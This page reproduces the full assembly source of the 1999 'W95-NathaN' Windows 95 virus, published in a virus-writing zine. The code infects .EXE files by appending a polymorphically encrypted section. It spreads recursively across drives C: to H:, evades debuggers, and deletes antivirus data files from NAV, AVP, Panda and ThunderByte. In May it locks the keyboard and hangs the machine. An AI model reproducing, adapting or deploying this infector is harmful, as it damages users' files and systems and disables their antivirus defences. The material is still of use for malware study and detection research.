Copy Link
Add to Bookmark
Report
The W95-NathaN virus
H0l0kausT Issue 1
;=============================== W95-NathaN Release 24/10/99 =======================================
;-0nly a LamE Wind0zE Infect0R:
;-Runtime, HD Scanning, P0lym0rphiC anD Retr0
;'Be PatienT, it's my first releasable virus... :) '
;=================================================================================================
; * ADVISORY *
;=================================================================================================
; WARNING: THIS C0DE ITS VERY DANGEROUS AND CAN DESTROY DATA OR SYSTEMS, I AM NOT RESPONSABLE
;OF THE BAD USE OF THIS SOURCE CODE BECAUSE THE DECISION TO COMPILE AND RELEASE IS YOUR OWN!!!
;=================================================================================================
kernel equ 0BFF70000H
marca equ 'HH' ;es el mejor
marca2 equ 'ß'
bad_number equ 0Eh
.386p ; only for fun, i can put Pentium but...
locals
jumps
.model flat
extrn ExitProcess:PROC
TRUE equ 1
FALSE equ 0 ;ANTI SOFT-ICE
DEBUG equ FALSE
.data
nopper db 0
.code
;=========================== Eternal MachinE Polymorphic Decryptor ============================
start:
call iniciador
intr db 90h
baso equ byte ptr $-1
intr2 db 90h
baso2 equ byte ptr $-1
mov ecx, cryptsize
cryptsize equ (viriisize-decrsize+3) / 4
lamerb db 90h
antilamer1 equ byte ptr $-1
lea ebp, [eax - 401000H]
lamerc db 90h
antilamer2 equ byte ptr $-1
lea edx, iniciador[ebp]
lamerd db 90h
antilamer3 equ byte ptr $-1
jumpeante: jmp eeprom
perrero:
intro db 90h
fakeint equ byte ptr $-1
intro2 db 90h
fakeint2 equ byte ptr $-1
garba dd 00000000h
garba2 dd 00000000h
garba3 dd 00000000h
garba4 dd 00000000h ; Garbage and only garbage
garba5 dd 00000000h ; Scan strings => FUUUCKKKKK !!!!
garba6 dd 00000000h
garba7 dd 00000000h
garba8 dd 00000000h
garba9 dd 00000000h
garba10 dd 00000000h
eeprom:
@@1:
type dw 1234h ; the Poly stuff (xor, add, sub..)
polystuff equ word ptr $-2
numberz dd 12345678h
xorkey equ dword ptr $-4
lamere db 90h
antilamer4 equ byte ptr $-1
sub edx, -4
lamerf db 90h
antilamer5 equ byte ptr $-1
loop @@1
lamerg db 90h
antilamer6 equ byte ptr $-1
jmp iniciador
align 4
decrsize equ $-start
;==================================== Todo Poly-Encryptado =====================================
iniciador:
jmp segimos_jmp
perronbaioso db "NathaN in TranZe-Grup0 H0l0kaust0"
segimos_jmp:
lea ebp, [eax - 401000H]
sub eax, 12345678h
subme equ dword ptr $-4
push eax
call AnalizeKernel
call espero ; A que esteamos esperant0 ???
IF DEBUG
call ExecExe
ENDIF
call first
mov dr0,eax ; AVP :(
mov eax,dr0 ; I :D
in al, 81h
cmp al, marca2
je exit_to_program
in al, 80h
cmp al, marca2
je infect
mov al, marca2
out 80h, al
call ExecExe
exit_to_program: ret
infect:
mov dr7,eax
mov eax,dr7 ; AVP sucks :)
mov al, -1
out 80h, al
lea edx, infdir[ebp]
IF DEBUG
call disable
ENDIF
call GetWinDir
lea edx, infdir[ebp]
call SetDir
call InfectDir
lea edx, drive_c[ebp]
call recinfect1st
lea edx, drive_d[ebp]
call recinfect1st
lea edx, drive_e[ebp]
call recinfect1st
lea edx, drive_f[ebp]
call recinfect1st
lea edx, drive_g[ebp]
call recinfect1st
lea edx, drive_h[ebp]
call recinfect1st
mov al, marca2
out 81h, al
exit_to_mustdie:
call espero
push -1
call _ExitProcess
;======================================= Procedures ============================================
espero: call getm
cmp al, 5 ; May ? (Dedicated to May Shiranuy of KoF)
jne vete
;===============================================================================================
; N0 destructive C0de! viruses must be friendly :)
;===============================================================================================
call disable ; fuck keyboard
jmp $
vete: ret
first: pop edi
mov byte ptr [edi-5], 0b9h ; mov ecx, xxxxxxxx
mov byte ptr start[ebp], 0b9h
call infectfile
jmp exit_to_mustdie
ExecExe: call _GetCommandLineA
SW_NORMAL equ 1
push SW_NORMAL
push eax
call _WinExec
ret
getm:
mov al, 8 ; month
out 70h, al
in al, 71h
ret
recinfect1st: call SetDir
recinfect: call InfectDir
lea eax, win32_data_thang[ebp]
push eax
lea eax, dirfiles[ebp]
push eax
call _FindFirstFileA
mov edi, eax
inc eax
jz @@nomorefiles
@@processfile: lea eax, fileattr[ebp]
mov al, [eax]
cmp al, 10h ; directory ?
jne @@findnext
lea edx, fullname[ebp]
cmp byte ptr [edx], '.'
je @@findnext
call SetDir
push edi
lea edx, fullname[ebp]
call recinfect
pop edi
lea edx, prev_dir[ebp]
call SetDir
@@findnext: lea eax, win32_data_thang[ebp]
push eax
push edi
call _FindNextFileA
or eax, eax
jnz @@processfile
@@nomorefiles: ret
nokerneldll:
nofunction:
exit: jmp $
AnalizeKernel:
mov esi, kernel
@@1:
lea edi, kernel_sign[ebp]
mov ecx, kernel_sign_size
rep cmpsb
jne @@1
kernelfound: sub esi, kernel_sign_size
mov kernel_call[ebp], esi
mov esi, kernel
lodsw
cmp ax, 'ZM'
jne nokerneldll
add esi, 003Ch-2
lodsd
lea esi, [esi + eax - 3ch - 4]
lodsd
cmp eax, 'EP'
jne nokerneldll
add esi, 78h-4 ; esi=.edata
lodsd
add eax, kernel + 10h
xchg esi, eax
lodsd
lodsd
lodsd
mov funcnum[ebp], eax
lodsd
add eax, kernel
mov entrypointptr[ebp], eax
lodsd
add eax, kernel
mov nameptr[ebp], eax
lodsd
add eax, kernel
mov ordinalptr[ebp], eax
lea edx, names[ebp]
lea edi, fns[ebp]
@@1: push edi
call findfunction
pop edi
inc edi ; 68
stosd
add edi, 6 ; jmp kernel_call[ebp]
mov edx, esi
cmp byte ptr [esi], 0
jne @@1
ret
findfunction: mov ecx, 12345678h
funcnum equ dword ptr $-4
xor ebx, ebx
findnextfunc: mov esi, edx
mov edi, [ebx + 12345678h]
nameptr equ dword ptr $-4
add edi, kernel
@@2: cmpsb
jne @@1
cmp byte ptr [esi-1], 0
jne @@2
shr ebx, 1
movzx eax, word ptr [ebx + 12345678h]
ordinalptr equ dword ptr $-4
shl eax, 2
mov eax, [eax + 12345678h]
entrypointptr equ dword ptr $-4
add eax, kernel
ret
@@1: add ebx, 4
loop findnextfunc
jmp nofunction
InfectDir: call delete_shit
lea eax, win32_data_thang[ebp]
push eax
lea eax, exefiles[ebp]
push eax
call _FindFirstFileA
mov searchhandle[ebp], eax
inc eax
jz @@exit
@@next: call infectfile
lea eax, win32_data_thang[ebp]
push eax
push 12345678h
searchhandle equ dword ptr $-4
call _FindNextFileA
or eax, eax
jnz @@next
@@exit: ret
; input: ECX=file attr
; EDX=file
; output: EAX=handle
seekfile: push 0
push 0
push edx
push handle[ebp]
call _SetFilePointer
ret
closefile: push handle[ebp]
call _CloseHandle
ret
openfile: push 0
push ecx
push 3 ; OPEN_EXISTING
push 0
push 0
push 80000000h + 40000000h ; GENERIC_READ + GENERIC_WRITE
push edx
call _CreateFileA
mov handle[ebp], eax
ret
; input: EDX=file
; output: EAX=handle
createfile: push 0
push ecx
push 1 ; CREATE
push 0
push 0
push 80000000h + 40000000h ; GENERIC_READ + GENERIC_WRITE
push edx
call _CreateFileA
mov handle[ebp], eax
ret
; input: ECX=bytes to read
; EDX=buf
readfile: push 0
lea eax, bytesread[ebp]
push eax
push ecx
push edx
push handle[ebp]
call _ReadFile
ret
; input: ECX=bytes to read
; EDX=buf
disable: in al,21h
or al,00000010b
out 21h,al
ret
leader:
lea esi, iniciador[ebp]
lea edi, buf[ebp]
mov ecx, cryptsize
ret
getter2:
call getm
cmp al,1
je xorz
cmp al,2
je addz
cmp al,3
je subz
cmp al,4
je xorz
cmp al,6
je addz
cmp al,7
je subz
cmp al,8
je xorz
cmp al,9
je addz
jmp xorz
ret
writefile: push 0
lea eax, bytesread[ebp]
push eax
push ecx
push edx
push handle[ebp]
call _WriteFile
ret
; output: eax=rnd
; zf=rnd(2)
random:
call random16bit
shl eax, 16
random16bit: push ebx
mov bx, 1234h
rndword equ word ptr $-2
in al, 40h
xor bl, al
in al, 40h
add bh, al
in al, 41h
sub bl, al
in al, 41h
xor bh, al
in al, 42h
add bl, al
in al, 42h
sub bh, al
mov rndword[ebp], bx
xchg bx, ax
pop ebx
test al, 1
ret
; input: EDX=offset directory (256 byte)
GetDir: cld
push edx
push 255
call _GetCurrentDirectoryA
ret
delete_shit:
pushad
lea edi,[ebp+BadPhilez]
mov ecx,bad_number
killem:
push ecx
push edi
call _DeleteFileA
pop ecx
xor al,al
scasb
jnz $-1
loop killem
popad
ret
getd:
mov al,07h
out 70h,al
in al,71h
ret
carrante:
lea edx, buf[ebp]
mov ecx, viriisize-decrsize
call writefile
call closefile
ret
writedcr:
lea edx, start[ebp]
mov ecx, decrsize
call writefile
ret
; input: EDX=directory
SetDir: push edx
call _SetCurrentDirectoryA
ret
GetWinDir: cld
push 255
push edx
call _GetWindowsDirectoryA
ret
b1:
mov baso [ebp], 0F5h
mov baso2 [ebp], 0F9h
mov antilamer1 [ebp], 0F5h
mov antilamer2 [ebp], 0F8h
mov antilamer3 [ebp], 0F8h
mov antilamer5 [ebp], 0F9h
mov antilamer6 [ebp], 0f5h
mov fakeint [ebp], 0CCh
mov fakeint2 [ebp], 0F1h
ret
b2: mov baso [ebp], 0F9h
mov baso2 [ebp], 0f5h
mov antilamer1 [ebp], 0f8h
mov antilamer3 [ebp], 0F9h
mov antilamer4 [ebp], 0F5h
mov antilamer5 [ebp], 0F8h
mov antilamer6 [ebp], 0F9h
mov fakeint [ebp], 0CDh
mov fakeint2 [ebp], 001h
ret
b3: mov baso [ebp], 0F8h
mov baso2 [ebp], 0F8h
mov antilamer1 [ebp], 0F9h
mov antilamer2 [ebp], 0f5h
mov antilamer3 [ebp], 0F5h
mov antilamer4 [ebp], 0F8h
mov antilamer6 [ebp], 0f8h
mov fakeint [ebp], 0CDh
mov fakeint2 [ebp], 020h
ret
garbaz: call getd
cmp al,1
je b1
cmp al,2
je b2
cmp al,3
je b3
cmp al,4
je b1
cmp al,6
je b2
cmp al,7
je b3
cmp al,8
je b1
cmp al,9
je b2
jmp b1
optix: call garbaz
call writedcr
jmp getter2
xoring:
mov polystuff [ebp], 3281h
jmp optix
adding:
mov polystuff [ebp], 2A81h
jmp optix
subbing:
mov polystuff [ebp], 0281h
jmp optix
xorear:
call leader
@@1: lodsd
xor eax, xorkey [ebp]
stosd
loop @@1
ret
addear:
call leader
@@1: lodsd
add eax, xorkey [ebp]
stosd
loop @@1
ret
subbear:
call leader
@@1: lodsd
sub eax, xorkey [ebp]
stosd
loop @@1
ret
xorz:
call xorear
call carrante
ret
addz:
call addear
call carrante
ret
subz:
call subbear
call carrante
ret
infectfile: call delete_shit
mov ecx, fileattr[ebp]
lea edx, fullname[ebp]
call openfile
inc eax
jz @@exit
; goto the dword that stores the location of the pe header
mov edx, 3Ch
call seekfile
; read in the location of the pe header
mov ecx, 4
lea edx, peheaderoffset[ebp]
call readfile
; goto the pe header
mov edx, peheaderoffset[ebp]
call seekfile
; read in enuff to calculate the full size of the pe header and object table
mov ecx, 256
lea edx, peheader[ebp]
call readfile
; make sure it is a pe header and is not already infected
cmp dword ptr peheader[ebp],'EP'
jne @@close
cmp word ptr peheader[ebp] + 4ch, marca
je @@close
cmp dword ptr peheader[ebp] + 52, 00400000h
jne @@close
; go back to the start of the pe header
mov edx, peheaderoffset[ebp]
call seekfile
; read in the whole pe header and object table
lea edx, peheader[ebp]
mov ecx, headersize[ebp]
cmp ecx, maxbufsize
ja @@close
call readfile
mov word ptr peheader[ebp] + 4ch, marca
; locate offset of object table
xor eax, eax
mov ax, NtHeaderSize[ebp]
add eax, 18h
mov ObjectTableoffset[ebp],eax
; calculate the offset of the last (null) object in the object table
mov esi, ObjectTableoffset[ebp]
lea eax, peheader[ebp]
add esi, eax
xor eax, eax
mov ax, numObj[ebp]
mov ecx, 40
xor edx, edx
mul ecx
add esi, eax
inc numObj[ebp] ; inc the number of objects
lea edi, newobject[ebp]
xchg edi,esi
; calculate the Relative Virtual Address (RVA) of the new object
mov eax, [edi-5*8+8]
add eax, [edi-5*8+12]
mov ecx, objalign[ebp]
xor edx,edx
div ecx
inc eax
mul ecx
mov RVA[ebp], eax
; calculate the physical size of the new object
mov ecx, filealign[ebp]
mov eax, viriisize
xor edx, edx
div ecx
inc eax
mul ecx
mov physicalsize[ebp],eax
; calculate the virtual size of the new object
mov ecx, objalign[ebp]
mov eax, virtsize
xor edx,edx
div ecx
inc eax
mul ecx
mov virtualsize[ebp],eax
; calculate the physical offset of the new object
mov eax,[edi-5*8+20]
add eax,[edi-5*8+16]
mov ecx, filealign[ebp]
xor edx,edx
div ecx
inc eax
mul ecx
mov physicaloffset[ebp],eax
; update the image size (the size in memory) of the file
mov eax, virtsize
add eax, imagesize[ebp]
mov ecx, objalign[ebp]
xor edx, edx
div ecx
inc eax
mul ecx
mov imagesize[ebp],eax
; copy the new object into the object table
mov ecx, 40/4
rep movsd
; calculate the entrypoint RVA
mov eax, RVA[ebp]
mov ebx, entrypointRVA[ebp]
mov entrypointRVA[ebp], eax
sub eax, ebx
; Set the value needed to return to the host
mov subme[ebp], eax
; go back to the start of the pe header
mov edx, peheaderoffset[ebp]
call seekfile
; write the pe header and object table to the file
mov ecx, headersize[ebp]
lea edx, peheader[ebp]
call writefile
; move to the physical offset of the new object
mov edx, physicaloffset[ebp]
call seekfile
; write the virus code to the new object
call random
mov xorkey[ebp], eax
call random
mov garba[ebp], eax
call random
mov garba2[ebp], eax
call random
mov garba3[ebp], eax
call random
mov garba4[ebp], eax
call random
mov garba5[ebp], eax
call random
mov garba6[ebp], eax
call random
mov garba7[ebp], eax
call random
mov garba8[ebp], eax
call random
mov garba9[ebp], eax
call random
mov garba10[ebp], eax
call getm
cmp al,1
je xoring
cmp al,2
je adding
cmp al,3
je subbing
cmp al,4
je xoring
cmp al,6
je adding
cmp al,7
je subbing
cmp al,8
je xoring
cmp al,9
je adding
jmp xoring
@@close: call closefile
@@exit: ret
peroonn_final db "EternaL MachinE II" ;0ld machines never dead !!!
;==================================== S0mE DatA =================================================
bytesread dd ?
drive_f db 'F:\',0
drive_c db 'C:\',0
drive_h db 'H:\',0
drive_e db 'E:\',0
drive_d db 'D:\',0
drive_g db 'G:\',0
dirfiles db '*.',0
exefiles db '*.ExE',0
prev_dir db '..',0
win32_data_thang:
fileattr dd 0
createtime dd 0,0
lastaccesstime dd 0,0
lastwritetime dd 0,0
filesize dd 0,0
resv dd 0,0
fullname db 'FucK.Y0U',256-8 dup (0)
realname db 256 dup (0)
kernel_sign: pushfd ; <-- kernel
cld
push eax
push ebx
push edx
kernel_sign_size equ $-kernel_sign
kernel_call dd ?
names: db 'ExitProcess',0
db 'FindFirstFileA',0
db 'FindNextFileA',0
db 'CreateFileA',0
db 'SetFilePointer',0
db 'ReadFile',0
db 'WriteFile',0
db 'CloseHandle',0
db 'GetCurrentDirectoryA',0
db 'SetCurrentDirectoryA',0
db 'GetWindowsDirectoryA',0
db 'GetCommandLineA',0
db 'WinExec',0
db 'SetPriorityClass',0
db 'GetModuleHandleA',0
db 'DeleteFileA',0
db 0
fns:
def_fn macro name
_&name&: db 68h
fn_&name& dd ?
jmp kernel_call[ebp]
endm
def_fn ExitProcess
def_fn FindFirstFileA
def_fn FindNextFileA
def_fn CreateFileA
def_fn SetFilePointer
def_fn ReadFile
def_fn WriteFile
def_fn CloseHandle
def_fn GetCurrentDirectoryA
def_fn SetCurrentDirectoryA
def_fn GetWindowsDirectoryA
def_fn GetCommandLineA
def_fn WinExec
def_fn SetPriorityClass
def_fn GetModuleHandleA
def_fn DeleteFileA
BadPhilez label byte ; Files to delete in all dirs
ANTIVIR_DAT db "Anti-viR.DaT",0 ; \
CHKLIST_DAT db "ChklisT.DaT",0 ; \
CHKLIST_TAV db "ChklisT.TaV",0 ; > Shit and only ShiT
CHKLIST_MS db "ChklisT.MS",0 ; /
CHKLIST_CPS db "ChklisT.CpS",0 ; /
AVP_CRC db "AvP.CrC",0
IVB_NTZ db "IvB.NtZ",0 ;invircible ??? good joke! sound as a WC clearner or
SMARTCHK_MS db "SmartchK.MS",0 ;anything
SMARTCHK_CPS db "SmartchK.CpS",0
AVP db "AvP.SeT",0 ;Karsperzsky malware! will fool F-secure too
SCAN db "ScaN.DaT",0 ;fuuuckkkkkkkk!!!
NAV db "Dec2.DLL",0 ;NAV won't decrypt any virus!!
PANDA db "AP.ViR",0 ;my beloved Pandy
TB db "TbscaN.SiG",0 ;bye bye ThunderbyE
Namez label byte
handle dd ?
peheaderoffset dd ?
ObjectTableoffset dd ?
newobject: ;1234567 8
oname db '.NathaN',0 ;My section with the nicest name
virtualsize dd 0
RVA dd 0
physicalsize dd 0
physicaloffset dd 0
reserved dd 0,0,0
objectflags db 40h,0,0,0c0h
peheader:
signature dd 0
cputype dw 0
numObj dw 0
dd 3 dup (0)
NtHeaderSize dw 0
Flags dw 0
dd 4 dup (0)
entrypointRVA dd 0
dd 3 dup (0)
objalign dd 0
filealign dd 0
dd 4 dup (0)
imagesize dd 0
headersize dd 0
peheader_size equ $-peheader
final_test db "W95-NathaN Neur0-C0deD by HenKy /HH SpaiN"
bububbzz db "ß[ha[H04"
jmp $-6
align 4
viriisize equ $-start
infdir db 256 dup (?)
maxbufsize equ 4096
buf db maxbufsize dup (?)
virtsize equ $-start
end start
; PD: ONLY WAIT FOR THE ChacH04 viruz, THE NEW PROJECT OF the GRUP0 by HenKy !!!
; ThankS t0: Z0MBIE, Billy Belceb˙ and Lord Julus (this virus won't be possible without
; they support :)